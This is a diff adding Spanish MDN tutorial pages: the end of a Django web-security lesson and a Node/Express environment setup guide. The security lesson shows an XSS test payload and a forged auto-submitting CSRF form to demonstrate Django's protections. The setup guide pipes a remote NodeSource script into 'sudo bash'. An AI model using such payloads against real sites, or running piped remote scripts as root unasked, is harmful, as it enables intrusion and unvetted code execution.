+   <td>Lee la documentación de la Programación del Lado del servidor "<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Seguridad de la aplicación web de Django</a>". Completa todos los temas del Tutorial de Django (incluyendo este) o por lo menos el <a href="/en-US/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajar con formularios web</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender las cosas principales que debes hacer (y las que no debes) para proteger su aplicación web de Django.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Overview">Overview</h2>
+
+<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Website security</a> topic provides an overview of what website security means for server-side design, and some of the more common threats that you may need to protect against. One of the key messages in that article is that almost all attacks are successful when the web application trusts data from the browser.</p>
+
+<div class="warning">
+<p><strong>Important:</strong> The single most important lesson you can learn about website security is to <strong>never trust data from the browser</strong>. This includes <code>GET</code> request data in URL parameters, <code>POST</code> data, HTTP headers and cookies, user-uploaded files, etc. Always check and sanitize all incoming data. Always assume the worst.</p>
+</div>
+
+<p>The good news for Django users is that many of the more common threats are handled by the framework! The <a href="https://docs.djangoproject.com/en/1.10/topics/security/">Security in Django</a> (Django docs) article explains Django's security features and how to secure a Django-powered website.</p>
+
+<h2 id="Common_threatsprotections">Common threats/protections</h2>
+
+<p>Rather than duplicate the Django documentation here, in this article we'll demonstrate just a few of the security features in the context of our Django <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> tutorial.</p>
+
+<h3 id="Cross_site_scripting_(XSS)">Cross site scripting (XSS)</h3>
+
+<p>XSS is a term used to describe a class of attacks that allow an attacker to inject client-side scripts <em>through</em> the website into the browsers of other users. This is usually achieved by storing malicious scripts in the database where they can be retrieved and displayed to other users, or by getting users to click a link that will cause the attacker’s JavaScript to be executed by the user’s browser.</p>
+
+<p>Django's template system protects you against the majority of XSS attacks by <a href="https://docs.djangoproject.com/en/1.10/ref/templates/language/#automatic-html-escaping">escaping specific characters</a> that are "dangerous" in HTML. We can demonstrate this by attempting to inject some JavaScript into our LocalLibrary website using the Create-author form we set up in <a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a>.</p>
+
+<ol>
+ <li>Start the website using the development server (<code>python3 manage.py runserver</code>).</li>
+ <li>Open the site in your local browser and login to your superuser account.</li>
+ <li>Navigate to the author-creation page (which should be at URL: <code><a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a></code>).</li>
+ <li>Enter names and date details for a new user, and then append the following text to the Last Name field:<br>
+  <code>&lt;script&gt;alert('Test alert');&lt;/script&gt;</code>.<br>
+  <img alt="Author Form XSS test" src="https://mdn.mozillademos.org/files/14305/author_create_form_alert_xss.png" style="border-style: solid; border-width: 1px; height: 245px; width: 594px;">
+  <div class="note">
+  <p><strong>Note:</strong> This is a harmless script that, if executed, will display an alert box in your browser. If the alert is displayed when you submit the record then the site is vulnerable to XSS threats.</p>
+  </div>
+ </li>
+ <li>Press <strong>Submit</strong> to save the record.</li>
+ <li>When you save the author it will be displayed as shown below. Because of the XSS protections the <code>alert()</code> should not be run. Instead the script is displayed as plain text.<img alt="Author detail view XSS test" src="https://mdn.mozillademos.org/files/14307/author_detail_alert_xss.png" style="border-style: solid; border-width: 1px; height: 248px; width: 986px;"></li>
+</ol>
+
+<p>If you view the page HTML source code, you can see that the dangerous characters for the script tags have been turned into their harmless escape code equivalents (e.g. <code>&gt;</code> is now <code>&amp;gt;</code>)</p>
+
+<pre class="brush: html">&lt;h1&gt;Author: Boon&amp;lt;script&amp;gt;alert(&amp;#39;Test alert&amp;#39;);&amp;lt;/script&amp;gt;, David (Boonie) &lt;/h1&gt;
+</pre>
+
+<p>Using Django templates protects you against the majority of XSS attacks. However it is possible to turn off this protection, and the protection isn't automatically applied to all tags that wouldn't normally be populated by user input (for example, the <code>help_text</code> in a form field is usually not user-supplied, so Django doesn't escape those values).</p>
+
+<p>It is also possible for XSS attacks to originate from other untrusted source of data, such as cookies, Web services or uploaded files (whenever the data is not sufficiently sanitized before including in a page). If you're displaying data from these sources, then you may need to add your own sanitisation code.</p>
+
+<h3 id="Cross_site_request_forgery_(CSRF)_protection">Cross site request forgery (CSRF) protection</h3>
+
+<p>CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent. For example consider the case where we have a hacker who wants to create additional authors for our LocalLibrary.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Obviously our hacker isn't in this for the money! A more ambitious hacker could use the same approach on other sites to perform much more harmful tasks (e.g. transfer money to their own accounts, etc.)</p>
+</div>
+
+<p>In order to do this, they might create an HTML file like the one below, which contains an author-creation form (like the one we used in the previous section) that is submitted as soon as the file is loaded. They would then send the file to all the Librarians and suggest that they open the file (it contains some harmless information, honest!). If the file is opened by any logged in librarian, then the form would be submitted with their credentials and a new author would be created.</p>
+
+<pre class="brush: html">&lt;html&gt;
+&lt;body onload='document.EvilForm.submit()'&gt;
+
+&lt;form action="http://127.0.0.1:8000/catalog/author/create/" method="post" name='EvilForm'&gt;
+  &lt;table&gt;
+    &lt;tr&gt;&lt;th&gt;&lt;label for="id_first_name"&gt;First name:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;input id="id_first_name" maxlength="100" name="first_name" type="text" value="Mad" required /&gt;&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;th&gt;&lt;label for="id_last_name"&gt;Last name:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;input id="id_last_name" maxlength="100" name="last_name" type="text" value="Man" required /&gt;&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;th&gt;&lt;label for="id_date_of_birth"&gt;Date of birth:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;input id="id_date_of_birth" name="date_of_birth" type="text" /&gt;&lt;/td&gt;&lt;/tr&gt;
+    &lt;tr&gt;&lt;th&gt;&lt;label for="id_date_of_death"&gt;Died:&lt;/label&gt;&lt;/th&gt;&lt;td&gt;&lt;input id="id_date_of_death" name="date_of_death" type="text" value="12/10/2016" /&gt;&lt;/td&gt;&lt;/tr&gt;
+  &lt;/table&gt;
+  &lt;input type="submit" value="Submit" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Run the development web server, and log in with your superuser account. Copy the text above into a file and then open it in the browser. You should get a CSRF error, because Django has protection against this kind of thing!</p>
+
+<p>The way the protection is enabled is that you include the <code>{% csrf_token %}</code> template tag in your form definition. This token is then rendered in your HTML as shown below, with a value that is specific to the user on the current browser.</p>
+
+<pre class="brush: html">&lt;input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' /&gt;
+</pre>
+
+<p>Django generates a user/browser specific key and will reject forms that do not contain the field, or that contain an incorrect field value for the user/browser.</p>
+
+<p>To use this type of attack the hacker now has to discover and include the CSRF key for the specific target user. They also can't use the "scattergun" approach of sending a malicious file to all librarians and hoping that one of them will open it, since the CSRF key is browser specific.</p>
+
+<p>Django's CSRF protection is turned on by default. You should always use the <code>{% csrf_token %}</code> template tag in your forms and use <code>POST</code> for requests that might change or add data to the database.</p>
+
+<h3 id="Other_protections">Other protections</h3>
+
+<p>Django also provides other forms of protection (most of which would be hard or not particularly useful to demonstrate):</p>
+
+<dl>
+ <dt>SQL injection protection</dt>
+ <dd>SQL injection vulnerabilities enable malicious users to execute arbitrary SQL code on a database, allowing data to be accessed, modified, or deleted irrespective of the user's permissions. In almost every case you'll be accessing the database using Django’s querysets/models, so the resulting SQL will be properly escaped by the underlying database driver. If you do need to write raw queries or custom SQL then you'll need to explicitly think about preventing SQL injection.</dd>
+ <dt>Clickjacking protection</dt>
+ <dd>In this attack a malicious user hijacks clicks meant for a visible top level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials in an invisible <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe" title="The HTML Inline Frame Element (&lt;iframe>) represents a nested browsing context, effectively embedding another HTML page into the current page. In HTML 4.01, a document may contain a head and a body or a head and a frameset, but not both a body and a frameset. However, an &lt;iframe> can be used within a normal document body. Each browsing context has its own session history and active document. The browsing context that contains the embedded content is called the parent browsing context. The top-level browsing context (which has no parent) is typically the browser window."><code>&lt;iframe&gt;</code></a> controlled by the attacker. Django contains <a href="https://docs.djangoproject.com/en/1.10/ref/clickjacking/#clickjacking-prevention">clickjacking protection</a> in the form of the <a href="https://docs.djangoproject.com/en/1.10/ref/middleware/#django.middleware.clickjacking.XFrameOptionsMiddleware" title="django.middleware.clickjacking.XFrameOptionsMiddleware"><code>X-Frame-Options middleware</code></a> which, in a supporting browser, can prevent a site from being rendered inside a frame.</dd>
+ <dt>Enforcing SSL/HTTPS</dt>
+ <dd>SSL/HTTPS can be enabled on the web server in order to encrypt all traffic between the site and browser, including authentication credentials that would otherwise be sent in plain text (enabling HTTPS is highly recommended). If HTTPS is enabled then Django provides a number of other protections you can use:</dd>
+</dl>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-SECURE_PROXY_SSL_HEADER"><code>SECURE_PROXY_SSL_HEADER</code></a> can be used to check whether content is secure, even if it is incoming from a non-HTTP proxy.</li>
+ <li><a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-SECURE_SSL_REDIRECT"><code>SECURE_SSL_REDIRECT</code></a> is used to redirect all HTTP requests to HTTPS.</li>
+ <li>Use <a href="https://docs.djangoproject.com/en/1.10/ref/middleware/#http-strict-transport-security">HTTP Strict Transport Security</a> (HSTS). This is an HTTP header that informs a browser that all future connections to a particular site should always use HTTPS. Combined with redirecting HTTP requests to HTTPS, this setting ensures that HTTPS is always used after a successful connection has occurred. HSTS may either be configured with <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-SECURE_HSTS_SECONDS"><code>SECURE_HSTS_SECONDS</code></a> and <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-SECURE_HSTS_INCLUDE_SUBDOMAINS"><code>SECURE_HSTS_INCLUDE_SUBDOMAINS</code></a> or on the Web server.</li>
+ <li>Use ‘secure’ cookies by setting <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-SESSION_COOKIE_SECURE"><code>SESSION_COOKIE_SECURE</code></a> and <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-CSRF_COOKIE_SECURE"><code>CSRF_COOKIE_SECURE</code></a> to <code>True</code>. This will ensure that cookies are only ever sent over HTTPS.</li>
+</ul>
+
+<dl>
+ <dt>Host header validation</dt>
+ <dd>Use <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#std:setting-ALLOWED_HOSTS"><code>ALLOWED_HOSTS</code></a> to only accept requests from trusted hosts.</dd>
+</dl>
+
+<p>There are many other protections, and caveats to the usage of the above mechanisms. While we hope that this has given you an overview of what Django offers, you should still read the Django security documentation.</p>
+
+<ul>
+</ul>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Django has effective protections against a number of common threats, including XSS and CSRF attacks. In this article we've demonstrated how those particular threats are handled by Django in our <em>LocalLibrary</em> website. We've also provided a brief overview of some of the other protections.</p>
+
+<p>This has been a very brief foray into web security. We strongly recommend that you read <a href="https://docs.djangoproject.com/en/1.10/topics/security/">Security in Django</a> to gain a deeper understanding.</p>
+
+<p>The next and final step in this module about Django is to complete the <a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">assessment task</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/security/">Security in Django</a> (Django docs)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Server side website security</a> (MDN)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Web security</a> (MDN)</li>
+ <li><a href="/en-US/docs/Web/Security/Securing_your_site">Securing your site</a> (MDN)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/express_nodejs/development_environment/index.html b/files/es/learn/server-side/express_nodejs/development_environment/index.html
new file mode 100644
index 0000000000..40a96d56e4
--- /dev/null
+++ b/files/es/learn/server-side/express_nodejs/development_environment/index.html
@@ -0,0 +1,407 @@
+---
+title: Setting up a Node development environment
+slug: Learn/Server-side/Express_Nodejs/development_environment
+tags:
+  - Aprender
+  - Entorno de Desarrollo
+  - Express
+  - JavaScript
+  - Node
+  - nodejs
+  - npm
+translation_of: Learn/Server-side/Express_Nodejs/development_environment
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</div>
+
+<p class="summary">Ahora que sabes para que sirve Express, nosotros te vamos a mostrar como preparar y testear un entorno de desarrollo Node/Express en: Windows, Linux (Ubuntu), y macOS. Este artículo te va a dar todo lo que se necesita para poder empezar a desarrollar apps en Express, sin importar el sistema operativo que se use.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Saber como abrir una terminal / línea de comando. Saber como instalar paquetes de software en su sistema operativo de su computadora de desarrollo.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectivo:</th>
+   <td>Configurar un ambiente de desarrollo para Express (X.XX) en su computadora.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Express_ambiente_de_desarrollo_reseña">Express ambiente de desarrollo reseña</h2>
+
+<p><em>Node</em> y <em>Express</em> hacen muy fácil configurar su computadora con el propósito de iniciar el desarrollo de aplicaciones web. Esta seccion provee una reseña de qué herramientas son necesarias, explica algunos de los métodos más simples para instalar Node (y Express) en Ubuntu, macOS y Windows, y muestra como puede probar su instalación.</p>
+
+<h3 id="Qué_es_el_ambiente_de_desarrollo_Express">Qué es el ambiente de desarrollo Express?</h3>
+
+<p>El ambiente de desarrollo <em>Express</em> incluye una instalación de <em>Nodejs</em>, el <em>NPM administrador de paquetes</em>, y (opcionalmente) el Generador de Aplicaciones de <em>Express </em>en su computadora local.</p>
+
+<p><em>Node</em> y el administrador de paquetes <em>NPM</em> se instalan juntos desde paquetes binarios, instaladores, administradores de paquetes del sistema operativo o desde los fuentes (como se muestra en las siguientes secciónes). <em>Express</em> es entonces instalado por NPM como una dependencia individual de sus aplicaciones web <em>Express</em> (conjuntamente con otras librerías como motores de plantillas, controladores de bases de datos, middleware de autenticación, middleware para servir archivos estáticos, etc.)</p>
+
+<p><em>NPM</em> puede ser usado también para (globalmente) instalar el Generador de Aplicaciones de <em>Express</em>, una herramienta manual para crear la estructura de las web apps de <em>Express</em> que siguen el <a href="/en-US/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture"> patrón MVC </a>. El generador de aplicaciones es opcional porque no necesita utilizar esta herramienta para  crear apps que usan Express, o construir apps Express que tienen el mismo diseño arquitectónico o dependencias. No obstante estaremos usandolo, porque hace mucho más fácil, y promueve una estrucura modular de aplicación.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> A diferencia de otros frameworks web , el ambiente de desarrollo no incluye un servidor web independiente. Una aplicación web <em>Node</em>/<em>Express</em>  crea y ejecuta su propio servidor web!</p>
+</div>
+
+<p>Hay otras herramientas periféricas que son parte de un ambiente de desarrollo típico, incluyendo <a href="/en-US/docs/Learn/Common_questions/Available_text_editors">editores de texto</a> o IDEs para edición de código, y herramientas de administración de control de fuentes como <a href="https://git-scm.com/">Git</a> para administrar con seguridad diferentes versiones de su codigo. Asumimos que usted ya tiene instaladas esta clase de herramientas (en particular un editor de texto).</p>
+
+<h3 id="Qué_sistemas_operativos_son_soportados">Qué sistemas operativos son soportados?</h3>
+
+<p><em>Node</em> puede ser ejecutado en Windows, macOS, varias "versiones" de Linux, Docker, etc. (hay una lista completa de paginas de <a href="https://nodejs.org/en/download/">Downloads</a> de nodejs). Casi cualquier computadora personal podría tener el desempeño necesario para ejecutar Node durante el desarrollo. <em>Express</em> es ejecutado en un ambiente <em>Node</em>, y por lo tanto puede ejecutarse en cualquier plataforma que ejecute <em>Node</em>.</p>
+
+<p>En este articulo proveemos instruciones para configurarlo para Windows, macOS, and Ubuntu Linux.</p>
+
+<h3 id="¿Qué_versión_de_NodeExpress_puedo_usar">¿Qué versión de Node/Express puedo usar?</h3>
+
+<p>Hay varias <a href="https://nodejs.org/en/blog/release/">versiones de Node</a> — recientes que contienen reparacion de bugs, soporte para versiones mas recientes de ECMAScript (JavaScript) estandares, y mejoras a las APIs de Node . </p>
+
+<p>Generalmente se debe usar la versión más reciente <em>SLP (soporte de largo-plazo),</em> una versión como esta es más estable que la versión "actual", mientras que sigue teniendo características relativamente recientes  (y continua siendo activamente actualizado). Debería utilizar la versión <em>Actual</em> si necesita una característica que no esta presente en la versión SLP.</p>
+
+<p>Para <em>Express</em> siempre se debe utilizar la versión más reciente.</p>
+
+<h3 id="¿Qué_pasa_con_bases_de_datos_y_otras_dependencias">¿Qué pasa con bases de datos y otras dependencias?</h3>
+
+<p>Otras dependencias, tales como los controladores de bases de datos, motores de plantillas, motores de autenticación, etc. son parte de la aplicación, y son importadas dentro del ambiente de la aplicación utilizando el administrador de paquetes NPM. Estos los discutiremos en artículos posteriores app-specific.</p>
+
+<h2 id="Instalar_Node">Instalar Node</h2>
+
+<p>Para poder utilizar <em>Express</em> primero tiene que instalar <em>Nodejs</em> y el <a href="https://docs.npmjs.com/">Administrador de Paquetes de Node (NPM)</a> en su sistema operativo. Las siguientes secciones explican la forma más fácil de instalar la versión Soporte de Largo-Plazo (SLP) de Nodejs en Ubuntu Linux 16.04, macOS, y Windows 10.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> Las secciones de abajo muestran la forma más facil de instalar <em>Node</em> y <em>NPM</em> en nuestras plataformas de sistemas operativo a elegir. Si esta utilizando otro SO o solo quiere ver alguna de otros enfoques para las plataformas actuales entonce vea <a href="https://nodejs.org/en/download/package-manager/">Instalando Node.js via administrador de paquetes</a> (nodejs.org).</p>
+</div>
+
+<h3 id="macOS_y_Windows">macOS y Windows</h3>
+
+<p>Instalar <em>Node</em> y <em>NPM</em> en Windows y macOS es sencillo, porque simplemente debe utilizar el instalador provisto:</p>
+
+<ol>
+ <li>Descargue el instalador requerido:
+  <ol>
+   <li>Vaya a <a href="https://nodejs.org/en/">https://nodejs.org/es/</a></li>
+   <li>Seleccione el boton para descargar la versión LTS que es "Recomendada la mayoría de los usuarios".</li>
+  </ol>
+ </li>
+ <li>Instale Node al dar doble-click en el archivo de descarga y en seguida la  instalación inicia.</li>
+</ol>
+
+<h3 id="Ubuntu_18.04">Ubuntu 18.04</h3>
+
+<p>La forma más fácil de instalar la versión LTS de Node 10.x es la usar el <a href="https://nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions">administrador de paquetes</a> para obtenerlo del repositorio de distribuciones <em>binarias </em>de Ubuntu. Esto puede ser hecho muy simple al ejecutar los siguientes dos comandos en su terminal:</p>
+
+<pre class="brush: bash"><code>curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
+sudo apt-get install -y nodejs</code>
+</pre>
+
+<div class="warning">
+<p><strong>Advertencia:</strong> No instale directamente desde los repositorios normales de Ubuntu porque pueden contener versions muy antiguas de Node.</p>
+</div>
+
+<ol>
+</ol>
+
+<h3 id="Probar_su_instalación_de_Nodejs_y_NPM">Probar su instalación de Nodejs y NPM</h3>
+
+<p>La forma más fácil de probar que Node está instalado es ejecutar el comando "version" en su prompt de terminal/command y checar que una cadena de versión es devuelta:</p>
+
+<pre class="brush: bash">&gt;node -v
+v10.16.0</pre>
+
+<p>The administrador de paquetes <em>NPM</em>  de <em>Nodejs</em> también debería haber sido instalado y puede ser probado de la misma forma:</p>
+
+<pre class="brush: bash">&gt;npm -v
+6.9.0</pre>
+
+<p>Como una prueba un poco más emocionante creemos un muy básico "básico servidor node" que simplemente imprima "Hola Mundo" en el browser cuando visite la URL correcta en él:</p>
+
+<ol>
+ <li>Copie el siguiente texto en un archivo llamado <strong>holanode.js</strong>. Este utiliza características básicas de Node (nada desde Express) y algo de sintáxis ES6:
+
+  <pre class="brush: js">//Load HTTP module
+const http = require("http");
+<code>const hostname = '127.0.0.1';
+const port = 3000;
+
+//Create HTTP server and listen on port 3000 for requests
+const server = http.createServer((req, res) =&gt; {
+
+  //Set the response HTTP header with HTTP status and Content type
+  res.statusCode = 200;
+  res.setHeader('Content-Type', 'text/plain');
+  res.end('Hello World\n');
+});
+
+//listen for request on port 3000, and as a callback function have the port listened on logged
+server.listen(port, hostname, () =&gt; {
+  console.log(`Server running at http://${hostname}:${port}/`);
+});</code>
+
+</pre>
+
+  <p><span class="tlid-translation translation" lang="es"><span title="">El código importa el módulo "http" y lo usa para crear un servidor </span></span> (<code>createServer()</code>) <span class="tlid-translation translation" lang="es"><span title="">que escucha las solicitudes HTTP en el puerto 3000</span></span>. <span class="tlid-translation translation" lang="es"><span title="">Luego, el script imprime un mensaje en la consola con la URL del navegador puede usar para probar el servidor</span></span>. La función <code>createServer()</code> <span class="tlid-translation translation" lang="es"><span title="">toma como argumento una función callback que se invocará cuando se reciba una solicitud HTTP </span></span>—  <span class="tlid-translation translation" lang="es"><span title="">esto simplemente devuelve una respuesta con un código de estado HTTP de 200 ("OK") y el texto sin formato "Hello World".</span></span></p>
+
+  <div class="note">
+  <p><strong>Nota:</strong>   <span class="tlid-translation translation" lang="es"><span title="">¡No se preocupe si aún no comprende exactamente lo que está haciendo este código!</span> <span title="">¡Explicaremos nuestro código con mayor detalle una vez que comencemos a usar Express!</span></span></p>
+  </div>
+ </li>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Inicie el servidor navegando en el mismo directorio que su archivo <code>hellonode.js</code> en su símbolo del sistema, y llamando a <code>node</code> junto con el nombre del script, así:</span></span>
+  <pre class="brush: bash">&gt;node hellonode.js
+Server running at http://127.0.0.1:3000/
+</pre>
+ </li>
+ <li>Navega a la URL <a href="http://127.0.0.1:3000">http://127.0.0.1:3000 </a>. Sí todo esta funciona, el navegador simplemente debe mostrar la cadena de texto "Hello World".</li>
+</ol>
+
+<h2 id="Usando_NPM">Usando NPM</h2>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Junto al propio node,</span></span> <a href="https://docs.npmjs.com/">NPM</a> <span class="tlid-translation translation" lang="es"><span title="">es la herramienta más importante para trabajar con aplicaciones de node.</span> <span title="">NPM se usa para obtener los paquetes (bibliotecas de JavaScript) que una aplicación necesita para el desarrollo, las pruebas y/o la producción, y también se puede usar para ejecutar pruebas y herramientas utilizadas en el proceso de desarrollo.</span></span></p>
+
+<div class="note">
+<p><strong>Nota:</strong>  <span class="tlid-translation translation" lang="es"><span title="">Desde la perspectiva de Node, Express es solo otro paquete que necesita instalar usando NPM y luego requerir en su propio código.</span></span></p>
+</div>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Se puede usar</span></span> NPM <span class="tlid-translation translation" lang="es"><span title="">manualmente para buscar por separado cada paquete necesario.</span> <span title="">Por lo general, administramos las dependencias utilizando un archivo de definición de texto plano llamado</span></span> <a href="https://docs.npmjs.com/files/package.json">package.json</a>. <span class="tlid-translation translation" lang="es"><span title="">Este archivo enumera todas las dependencias para un "paquete" de JavaScript específico, incluido el nombre del paquete, la versión, la descripción, el archivo inicial a ejecutar, las dependencias de producción, las dependencias de desarrollo, las versiones de Node con las que puede trabajar, etc. El archivo package.json debería</span> <span title="">contener todo lo que NPM necesita para buscar y ejecutar su aplicación (si estuviera escribiendo una biblioteca reutilizable, podría usar esta definición para cargar su paquete en el repositorio npm y ponerlo a disposición de otros usuarios).</span></span></p>
+
+<h3 id="Agregando_dependencias"><span class="tlid-translation translation" lang="es"><span title="">Agregando dependencias</span></span></h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Los siguientes pasos muestran cómo puede usar NPM para descargar un paquete, guardarlo en las dependencias del proyecto y luego requerirlo en una aplicación Node.</span></span></p>
+
+<div class="note">
+<p><strong>Nota:</strong> <span class="tlid-translation translation" lang="es"><span title="">Aquí mostramos las instrucciones para buscar e instalar el paquete <em>Express</em>.</span> <span title="">Más adelante mostraremos cómo este paquete y otros ya están especificados para nosotros utilizando el <em>Generador de aplicaciones Express</em>.</span> <span title="">Esta sección se proporciona porque es útil para comprender cómo funciona NPM y qué está creando el generador de aplicaciones.</span></span></p>
+</div>
+
+<ol>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Primero cree un directorio para su nueva aplicación y acceda a él:</span></span>
+
+  <pre class="brush: bash">mkdir myapp
+cd myapp</pre>
+ </li>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Use el comando <code>npm init</code> para crear un archivo <strong>package.json</strong> para su aplicación.</span> <span title="">Este comando le solicita varias cosas, incluido el nombre y la versión de su aplicación y el nombre del archivo de punto de entrada inicial (de forma predeterminada, esto es <strong>index.js</strong>).</span> <span title="">Por ahora, solo acepte los valores predeterminados:</span></span></li>
+ <li>
+  <pre class="brush: bash">npm init</pre>
+
+  <p><span class="tlid-translation translation" lang="es"><span title="">Si muestra el archivo <strong>package.json</strong> (<code>cat package.json</code>), verá los valores predeterminados que aceptó, que finalizarán con la licencia.</span></span></p>
+
+  <pre class="brush: json">{
+  "name": "myapp",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" &amp;&amp; exit 1"
+  },
+  "author": "",
+  "license": "ISC"
+}
+</pre>
+ </li>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Ahora instale Express en el directorio <code>myapp</code> y guárdelo en la lista de dependencias de su archivo package.json</span></span></li>
+ <li>
+  <pre class="brush: bash">npm install express --save</pre>
+
+  <p><span class="tlid-translation translation" lang="es"><span title="">La sección de dependencias de su <strong>package.json</strong> ahora aparecerá al final del archivo <strong>package.json</strong> e incluirá <em>Express</em>.</span></span></p>
+
+  <pre class="brush: json">{
+  "name": "myapp",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" &amp;&amp; exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+<strong>  "dependencies": {
+    "express": "^4.16.3"
+  }</strong>
+}
+</pre>
+ </li>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Para usar la biblioteca, llame a la función <code>require ()</code> como se muestra a continuación en su archivo <strong>index.js</strong>.</span></span>
+  <pre><code><strong>const express = require('express')</strong>
+const app = express();
+
+app.get('/', (req, res) =&gt; {
+  res.send('Hello World!')
+});
+
+app.listen(</code>8000<code>, () =&gt; {
+  console.log('Example app listening on port </code>8000<code>!')
+});</code>
+</pre>
+
+  <p><span class="tlid-translation translation" lang="es"><span title="">Este código muestra una aplicación web mínima "HelloWorld" Express.</span> <span title="">Esto importa el módulo "express" y lo usa para crear un servidor (<code>app</code>) que escucha las solicitudes HTTP en el puerto 8000 e imprime un mensaje en la consola que indica qué URL del navegador puede usar para probar el servidor.</span> <span title="">La función <code>app.get ()</code> solo responde a las solicitudes HTTP <code>GET</code> con la ruta URL especificada (<code>'/'</code>), en este caso llamando a una función para enviar nuestro mensaje Hello World!</span> <span title="">.</span></span></p>
+ </li>
+ <li>
+  <p>Cree un archivo llamado <strong>index.js</strong> en la raíz del directorio de la aplicación "myapp" y dele el contenido que se muestra arriba.</p>
+ </li>
+ <li><span class="tlid-translation translation" lang="es"><span title="">Puede iniciar el servidor llamando a node con el script en su símbolo del sistema:</span></span>
+  <pre class="brush: bash">&gt;node index.js
+Example app listening on port 8000
